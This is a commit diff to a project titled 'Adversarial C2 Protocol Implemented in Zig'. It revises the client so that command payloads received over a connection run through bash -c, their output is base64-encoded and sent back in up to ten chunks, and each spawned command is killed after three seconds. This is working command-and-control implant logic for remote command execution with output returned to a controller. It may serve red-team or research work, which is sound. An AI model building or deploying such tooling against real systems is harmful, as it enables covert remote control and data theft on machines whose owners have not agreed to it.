Adversarial C2 Protocol Implemented in Zig

Kill process after 10 messages or 3 seconds

+48 -15
+1 -1
build.zig.zon
··· 10 10 11 11 // This is a [Semantic Version](https://semver.org/). 12 12 // In a future version of Zig it will be used for package deduplication. 13 - .version = "0.0.0", 13 + .version = "0.1.0", 14 14 15 15 // Together with name, this represents a globally unique package 16 16 // identifier. This field is generated by the Zig toolchain when the
+47 -14
src/main.zig
··· 157 157 continue; 158 158 }; 159 159 160 - const child = std.process.spawn(init.io, .{ 160 + var child = std.process.spawn(init.io, .{ 161 161 .argv = &.{ "bash", "-c", connection_payload }, 162 162 .stdout = .pipe, 163 - .stderr = .pipe, 163 + .stderr = .ignore, 164 + .stdin = .ignore, 164 165 }) catch continue; 165 166 166 - var child_stdout: std.ArrayList(u8) = .empty; 167 - defer child_stdout.deinit(init.gpa); 168 - var child_stderr: std.ArrayList(u8) = .empty; 169 - defer child_stderr.deinit(init.gpa); 167 + var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; 168 + var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf); 170 169 171 - child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)) catch |err| { 172 - log.debug("Failed to collect output: {t}", .{err}); 173 - continue; 174 - }; 170 + var is_killed: std.atomic.Value(bool) = .init(false); 171 + 172 + var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed }); 173 + defer _ = kill_task.cancel(init.io) catch {}; 175 174 176 175 var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined; 177 176 var cmd_output: Writer = .fixed(&cmd_output_buf); 178 177 179 - var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len); 180 - while (cmd_output_window_iter.next()) |chunk| { 178 + // Maximum of 10 messages of output per command 179 + for (0..10) |_| { 181 180 cmd_output.end = 0; 182 - // Unreachable because the cmd_output_buf is twice the size of the chunk. 183 - cmd_output.print("{b64}", .{chunk}) catch unreachable; 181 + 182 + child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) { 183 + error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this 184 + error.EndOfStream => { 185 + cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; 186 + if (cmd_output.end > 0) { 187 + connection.send(init.io, cmd_output.buffered()) catch |e| { 188 + log.debug("Failed to send connection chunk: {t}", .{e}); 189 + continue :next_message; 190 + }; 191 + } 192 + break; 193 + }, 194 + }; 195 + cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; 184 196 connection.send(init.io, cmd_output.buffered()) catch |err| { 185 197 log.debug("Failed to send connection chunk: {t}", .{err}); 186 198 continue :next_message; 187 199 }; 188 200 try init.io.sleep(.fromMilliseconds(40), .boot); 201 + } else { 202 + kill_task.cancel(init.io) catch {}; 203 + killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| { 204 + log.debug("Failed to kill process??? {t}", .{err}); 205 + continue :next_message; 206 + }; 207 + } 208 + 209 + if (!is_killed.load(.monotonic)) { 210 + _ = child.wait(init.io) catch |err| { 211 + log.debug("Failed to wait for child: {t}", .{err}); 212 + }; 189 213 } 190 214 } 191 215 } 192 216 } 193 217 194 218 unreachable; 219 + } 220 + 221 + fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void { 222 + io.sleep(duration, .boot) catch |err| switch (err) { 223 + error.Canceled => return, 224 + else => |e| return e, 225 + }; 226 + is_killed.store(true, .monotonic); 227 + proc.kill(io); 195 228 } 196 229 197 230 fn parseDest(in: ?[]const u8) [4]u8 {